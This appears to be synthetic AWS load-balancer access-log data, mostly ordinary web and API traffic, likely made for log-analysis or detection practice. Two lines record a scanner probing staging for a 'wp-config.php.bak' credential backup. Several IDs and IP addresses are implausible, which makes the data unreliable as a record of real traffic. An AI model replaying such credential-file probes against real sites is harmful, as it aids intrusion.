"staging-alb.example.com" "-" 1 2024-11-01T00:00:14.078793Z "forward" "-" "-" "77.83.255.13:443" "200" "-" "-" -https 2024-11-01T00:00:15.990781Z prod-web-alb 216.26.47.149:23715 10.0.251.227:443 0.019232 0.453156 0.015433 301 301 772 5249 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723b79f-dc829cf42b3147fcbd4c3aa2" "prod-web-alb.example.com" "-" 1 2024-11-01T00:00:15.990781Z "forward" "-" "-" "10.0.251.227:443" "301" "-" "-" -https 2024-11-01T00:00:16.823376Z prod-web-alb 98.147.178.37:51867 10.0.206.205:443 0.076840 0.306907 0.080754 301 301 361 7585 "GET /products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723b7a0-a3abe3e60f5b47ff83724043" "prod-web-alb.example.com" "-" 10 2024-11-01T00:00:16.823376Z "forward" "-" "-" "10.0.206.205:443" "301" "-" "-" -https 2024-11-01T00:00:18.481926Z prod-web-alb 27.139.209.21:27301 10.0.228.212:443 0.023931 0.295463 0.011605 200 200 451 8660 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723b7a2-3069bdacaf6d48e8b981a5a5" "prod-web-alb.example.com" "-" 8 2024-11-01T00:00:18.481926Z "forward" "-" "-" "10.0.228.212:443" "200" "-" "-" -https 2024-11-01T00:00:19.346602Z prod-api-alb 165.221.82.184:54796 10.0.230.192:443 0.008417 0.434475 0.057612 200 200 762 13020 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723b7a3-fbbf632d2df84df79d24ef99" "prod-api-alb.example.com" "-" 9 2024-11-01T00:00:19.346602Z "forward" "-" "-" "10.0.230.192:443" "200" "-" "-" -https 2024-11-01T00:00:19.559984Z prod-web-alb 141.206.237.63:33642 10.0.213.200:443 0.010845 0.370309 0.088686 404 404 725 5063 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723b7a3-2d406c3869564a5c9c844333" "prod-web-alb.example.com" "-" 1 2024-11-01T00:00:19.559984Z "forward" "-" "-" "10.0.213.200:443" "404" "-" "-" -https 2024-11-01T00:00:20.167919Z prod-api-alb 185.245.85.167:60234 10.0.141.248:443 0.039155 0.013837 0.093931 302 302 527 3332 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723b7a4-968362d2194242ad933bff16" "prod-api-alb.example.com" "-" 7 2024-11-01T00:00:20.167919Z "forward" "-" "-" "10.0.141.248:443" "302" "-" "-" -https 2024-11-01T00:00:21.863204Z prod-web-alb 181.228.178.113:20465 10.0.74.21:443 0.082876 0.494840 0.028218 200 200 935 7850 "GET /checkout HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723b7a5-d5711ea4eeaf4598a4448cd1" "prod-web-alb.example.com" "-" 3 2024-11-01T00:00:21.863204Z "forward" "-" "-" "10.0.74.21:443" "200" "-" "-" -https 2024-11-01T00:00:22.246381Z prod-web-alb 197.20.230.163:33331 10.0.70.92:443 0.045293 0.242906 0.059836 302 302 594 1349 "GET /products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723b7a6-be4beb8e71444940b73e5007" "prod-web-alb.example.com" "-" 6 2024-11-01T00:00:22.246381Z "forward" "-" "-" "10.0.70.92:443" "302" "-" "-" -https 2024-11-01T00:00:22.907555Z prod-web-alb 88.203.87.199:49380 10.0.251.58:443 0.087839 0.069262 0.094609 301 301 501 284 "GET /images/logo.png HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723b7a6-d4a1594a39294c5e99078ee7" "prod-web-alb.example.com" "-" 7 2024-11-01T00:00:22.907555Z "forward" "-" "-" "10.0.251.58:443" "301" "-" "-" -https 2024-11-01T00:00:24.109505Z prod-api-alb 133.155.181.3:33170 10.0.13.9:443 0.022922 0.045376 0.005787 200 200 441 10480 "GET /api/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723b7a8-4864537171bf4129a02a3165" "prod-api-alb.example.com" "-" 10 2024-11-01T00:00:24.109505Z "forward" "-" "-" "10.0.13.9:443" "200" "-" "-" -https 2024-11-01T00:00:25.883881Z staging-alb 76.197.103.5:57816 11.190.209.133:443 0.044726 0.210111 0.076520 302 302 552 1878 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723b7a9-0a106ad6ac6541a68b6f6152" "staging-alb.example.com" "-" 0 2024-11-01T00:00:25.883881Z "forward" "-" "-" "11.190.209.133:443" "302" "-" "-" -https 2024-11-01T00:00:26.189244Z prod-api-alb 75.198.7.229:41852 10.0.226.231:443 0.013751 0.424697 0.076497 404 404 652 10822 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723b7aa-e99c6bf4c56940578ef84da0" "-" "-" 10 2024-11-01T00:00:26.189244Z "forward" "-" "-" "10.0.226.231:443" "404" "-" "-" -https 2024-11-01T00:00:27.721045Z prod-api-alb 122.203.134.213:40976 10.0.28.48:443 0.064055 0.406839 0.050347 200 200 80 9379 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723b7ab-579ea36724f2484bba5252d6" "prod-api-alb.example.com" "-" 9 2024-11-01T00:00:27.721045Z "forward" "-" "-" "10.0.28.48:443" "200" "-" "-" -https 2024-11-01T00:00:27.932693Z staging-alb 45.179.246.84:61910 197.17.212.50:8080 0.141885 0.077740 0.146341 200 200 557 6637 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723b7ab-96a39a370cea43f8904af9d2" "staging-alb.example.com" "-" 0 2024-11-01T00:00:27.932693Z "forward" "-" "-" "197.17.212.50:8080" "200" "-" "-" -https 2024-11-01T00:00:28.674055Z prod-api-alb 56.172.118.230:57961 10.0.212.126:443 0.072892 0.128158 0.049327 200 200 945 7790 "GET /api/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723b7ac-e19660a5f2b74e4b842b90ed" "prod-api-alb.example.com" "-" 1 2024-11-01T00:00:28.674055Z "forward" "-" "-" "10.0.212.126:443" "200" "-" "-" -https 2024-11-01T00:00:30.405374Z prod-api-alb 82.57.31.72:17796 10.0.107.254:443 0.077095 0.437403 0.031475 200 200 533 1223 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723b7ae-6693de7c897440eebf530570" "prod-api-alb.example.com" "-" 6 2024-11-01T00:00:30.405374Z "forward" "-" "-" "10.0.107.254:443" "200" "-" "-" -https 2024-11-01T00:00:31.770433Z prod-api-alb 246.211.52.166:38964 10.0.176.199:443 0.059010 0.158208 0.004585 200 200 516 10093 "GET /api/v1/orders HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723b7af-022a7fc91623428596c93586" "prod-api-alb.example.com" "-" 7 2024-11-01T00:00:31.770433Z "forward" "-" "-" "10.0.176.199:443" "200" "-" "-" -https 2024-11-01T00:00:32.774742Z prod-api-alb 59.217.16.68:13334 10.0.50.32:443 0.031536 0.311163 0.058981 200 200 374 13172 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723b7b0-df324b0fec7d4e42b93d8bef" "prod-api-alb.example.com" "-" 4 2024-11-01T00:00:32.774742Z "forward" "-" "-" "10.0.50.32:443" "200" "-" "-" -https 2024-11-01T00:00:33.358565Z prod-web-alb 100.152.83.154:50345 10.0.30.204:443 0.037056 0.005191 0.028076 200 200 241 7345 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723b7b1-867a595cac714b7bb61df8a1" "prod-web-alb.example.com" "-" 7 2024-11-01T00:00:33.358565Z "forward" "-" "-" "10.0.30.204:443" "200" "-" "-" -http 2024-11-01T00:00:34.458188Z staging-alb 175.102.29.151:37322 97.247.115.120:443 0.010795 0.364374 0.102676 301 301 860 9102 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723b7b2-7066de9d9e30415eae5494fc" "staging-alb.example.com" "-" 6 2024-11-01T00:00:34.458188Z "forward" "-" "-" "97.247.115.120:443" "301" "-" "-" -http 2024-11-01T00:00:35.659550Z staging-alb 226.18.32.196:28677 165.106.18.109:443 0.149457 0.213764 0.110305 404 404 721 6133 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723b7b3-3ce91d34ab59441380f356c1" "staging-alb.example.com" "-" 5 2024-11-01T00:00:35.659550Z "forward" "-" "-" "165.106.18.109:443" "404" "-" "-" -https 2024-11-01T00:00:36.352705Z staging-alb 80.179.218.40:40560 95.215.76.152:443 0.027605 0.465910 0.128424 404 404 652 1837 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723b7b4-d794e633b25640b180bd9d88" "staging-alb.example.com" "-" 0 2024-11-01T00:00:36.352705Z "forward" "-" "-" "95.215.76.152:443" "404" "-" "-" -https 2024-11-01T00:00:38.296749Z prod-api-alb 146.73.149.74:21271 10.0.18.121:443 0.076204 0.209314 0.064350 200 200 586 13638 "GET /api/v2/users HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723b7b6-88c666419d6a4fb8b211ce98" "prod-api-alb.example.com" "-" 4 2024-11-01T00:00:38.296749Z "forward" "-" "-" "10.0.18.121:443" "200" "-" "-" -https 2024-11-01T00:00:39.884757Z prod-web-alb 58.37.9.152:18175 10.0.255.159:443 0.070547 0.067578 0.033309 200 200 457 4309 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723b7b7-d41f987713c34cd888ac5143" "prod-web-alb.example.com" "-" 4 2024-11-01T00:00:39.884757Z "forward" "-" "-" "10.0.255.159:443" "200" "-" "-" -https 2024-11-01T00:00:41.325597Z prod-api-alb 87.148.179.91:56129 10.0.202.104:443 0.062058 0.037410 0.041006 302 302 5 12512 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723b7b9-262f347148654265b23a6491" "prod-api-alb.example.com" "-" 10 2024-11-01T00:00:41.325597Z "forward" "-" "-" "10.0.202.104:443" "302" "-" "-" -https 2024-11-01T00:00:41.713268Z prod-web-alb 93.74.215.107:31317 10.0.180.218:443 0.023413 0.029734 0.031938 200 200 184 8505 "GET /products HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723b7b9-ea58230e1daa4a038bb2c39d" "prod-web-alb.example.com" "-" 7 2024-11-01T00:00:41.713268Z "forward" "-" "-" "10.0.180.218:443" "200" "-" "-" -http 2024-11-01T00:00:43.127861Z staging-alb 82.202.156.196:55132 132.76.152.132:8080 0.112994 0.504409 0.110373 404 404 700 7370 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723b7bb-8b4f3232c99744caa7f5ef02" "staging-alb.example.com" "-" 3 2024-11-01T00:00:43.127861Z "forward" "-" "-" "132.76.152.132:8080" "404" "-" "-" -https 2024-11-01T00:00:43.869790Z prod-web-alb 219.124.252.100:26849 10.0.201.117:443 0.092322 0.252558 0.022716 200 200 226 11581 "GET /products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723b7bb-04bbf6de661048cdb5320f58" "prod-web-alb.example.com" "-" 10 2024-11-01T00:00:43.869790Z "forward" "-" "-" "10.0.201.117:443" "200" "-" "-" -https 2024-11-01T00:00:45.671565Z prod-web-alb 7.173.90.165:14406 10.0.185.152:443 0.062632 0.397466 0.097769 200 200 437 2506 "GET /images/logo.png HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723b7bd-4866675c953042b2b5620cd1" "prod-web-alb.example.com" "-" 8 2024-11-01T00:00:45.671565Z "forward" "-" "-" "10.0.185.152:443" "200" "-" "-" -https 2024-11-01T00:00:47.534419Z prod-api-alb 165.172.4.205:31707 10.0.119.72:443 0.025834 0.088426 0.086136 404 404 446 2525 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723b7bf-b2be73d691bb4c6389d41fab" "prod-api-alb.example.com" "-" 5 2024-11-01T00:00:47.534419Z "forward" "-" "-" "10.0.119.72:443" "404" "-" "-" -https 2024-11-01T00:00:47.715436Z prod-web-alb 169.98.115.90:45110 10.0.120.159:443 0.014541 0.172269 0.000918 301 301 321 12934 "GET /images/logo.png HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723b7bf-332a0074a6ca4b258b6d4626" "prod-web-alb.example.com" "-" 5 2024-11-01T00:00:47.715436Z "forward" "-" "-" "10.0.120.159:443" "301" "-" "-" -http 2024-11-01T00:00:49.273475Z staging-alb 51.10.158.230:46019 10.20.170.244:80 0.146469 0.657531 0.069524 200 200 194 7625 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723b7c1-51a4bcbcd51b40d5909bd3bd" "staging-alb.example.com" "-" 8 2024-11-01T00:00:49.273475Z "forward" "-" "-" "10.20.170.244:80" "200" "-" "-" -https 2024-11-01T00:00:50.896555Z staging-alb 120.136.61.140:49656 128.188.230.138:80 0.054335 0.165390 0.117851 200 200 559 13300 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723b7c2-1a82aee408c549f6a80c5c24" "staging-alb.example.com" "-" 1 2024-11-01T00:00:50.896555Z "forward" "-" "-" "128.188.230.138:80" "200" "-" "-" -https 2024-11-01T00:00:52.560914Z prod-api-alb 205.145.143.142:60091 10.0.224.114:443 0.048540 0.125391 0.016573 200 200 232 14342 "GET /api/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723b7c4-2eeb45143aa04f8aab35c6b5" "prod-api-alb.example.com" "-" 7 2024-11-01T00:00:52.560914Z "forward" "-" "-" "10.0.224.114:443" "200" "-" "-" -https 2024-11-01T00:00:52.687178Z staging-alb 167.0.179.80:23630 72.54.250.248:80 0.113393 0.684245 0.031617 200 200 124 10476 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723b7c4-b805f6325ca144f3bdd9f729" "staging-alb.example.com" "-" 10 2024-11-01T00:00:52.687178Z "forward" "-" "-" "72.54.250.248:80" "200" "-" "-" -https 2024-11-01T00:00:53.142315Z prod-api-alb 191.174.158.110:39495 10.0.222.60:443 0.045770 0.419616 0.090852 200 200 133 6758 "GET /api/v2/users HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723b7c5-20e9172b3a7d486fbc31a42b" "prod-api-alb.example.com" "-" 3 2024-11-01T00:00:53.142315Z "forward" "-" "-" "10.0.222.60:443" "200" "-" "-" -http 2024-11-01T00:00:54.185178Z staging-alb 185.181.2.252:24368 231.68.107.148:80 0.138767 0.259332 0.058524 302 302 883 8825 "POST /wp-config.php.bak HTTP/1.1" "subfinder/v2.5.5" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723b7c6-e7272616666044fbb8c46dc5" "-" "-" 10 2024-11-01T00:00:54.185178Z "forward" "-" "-" "231.68.107.148:80" "302" "-" "-" -https 2024-11-01T00:00:54.905299Z prod-api-alb 209.209.39.7:43693 10.0.150.251:443 0.011638 0.096017 0.019025 301 301 773 2811 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723b7c6-83bbfe3d194c41608c9e3de1" "prod-api-alb.example.com" "-" 2 2024-11-01T00:00:54.905299Z "forward" "-" "-" "10.0.150.251:443" "301" "-" "-" -https 2024-11-01T00:00:55.276491Z prod-api-alb 172.133.244.159:47832 10.0.246.96:443 0.073084 0.363609 0.059318 200 200 750 14495 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723b7c7-deb1819d226c4413a6a8a541" "prod-api-alb.example.com" "-" 2 2024-11-01T00:00:55.276491Z "forward" "-" "-" "10.0.246.96:443" "200" "-" "-" -https 2024-11-01T00:00:56.845603Z staging-alb 1.181.78.28:11584 202.26.62.255:8080 0.054309 0.298651 0.138873 404 404 635 744 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723b7c8-12c2878dfdab44dcb395fb11" "staging-alb.example.com" "-" 7 2024-11-01T00:00:56.845603Z "forward" "-" "-" "202.26.62.255:8080" "404" "-" "-" -https 2024-11-01T00:00:57.405593Z staging-alb 185.181.2.252:10227 120.7.118.200:443 0.098888 0.745798 0.040788 301 301 542 6433 "POST /wp-config.php.bak HTTP/1.1" "subfinder/v2.5.5" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723b7c9-4e6b61f3ab64421191c64312" "-" "-" 3 2024-11-01T00:00:57.405593Z "forward" "-" "-" "120.7.118.200:443" "301" "-" "-" -https 2024-11-01T00:00:58.116096Z staging-alb 40.131.127.188:31434 92.23.107.158:8080 0.015842 0.132840 0.136227 200 200 226 4966 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723b7ca-d6193453de69447683882546" "staging-alb.example.com" "-" 9 2024-11-01T00:00:58.116096Z "forward" "-" "-" "92.23.107.158:8080" "200" "-" "-" -https 2024-11-01T00:00:58.974023Z staging-alb 169.230.191.57:38370 184.86.129.16:8080 0.042606 0.349520 0.087488 200 200 361 4356 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723b7ca-b3f77e2fe5de48efb81a1cec" "staging-alb.example.com" "-" 1 2024-11-01T00:00:58.974023Z "forward" "-" "-" "184.86.129.16:8080" "200" "-" "-" -http 2024-11-01T00:00:59.691793Z staging-alb 13.89.36.185:58763 222.197.220.87:8080 0.124707 0.591863 0.023238 200 200 265 13452 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723b7cb-01f8c41f88c542bd9c753c73" "staging-alb.example.com" "-" 9 2024-11-01T00:00:59.691793Z "forward" "-" "-" "222.197.220.87:8080" "200" "-" "-" -http 2024-11-01T00:01:01.388204Z staging-alb 8.140.111.121:38275 155.229.118.183:8080 0.002918 0.033326 0.019745 200 200 958 3195 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723b7cd-6b9e289ef1b849e8adbaedfa" "staging-alb.example.com" "-" 1 2024-11-01T00:01:01.388204Z "forward" "-" "-" "155.229.118.183:8080" "200" "-" "-" -https 2024-11-01T00:01:03.226402Z staging-alb 105.28.223.192:47858 17.20.212.161:443 0.049914 0.040228 0.135972 200 200 975 10124 "GET /web/test HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723b7cf-0bc7d31395984135b8c769c2" "staging-alb.example.com" "-" 2 2024-11-01T00:01:03.226402Z "forward" "-" "-" "17.20.212.161:443" "200" "-" "-" -https 2024-11-01T00:01:05.151957Z prod-web-alb 239.110.149.121:37515 10.0.135.193:443 0.012323 0.374608 0.053848 404 404 410 9680 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723b7d1-81853c798fc84040ab2bc704" "prod-web-alb.example.com" "-" 10 2024-11-01T00:01:05.151957Z "forward" "-" "-" "10.0.135.193:443" "404" "-" "-" -https 2024-11-01T00:01:06.196130Z staging-alb 172.34.241.223:54754 17.36.80.136:80 0.102913 0.166100 0.047028 200 200 220 9965 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a 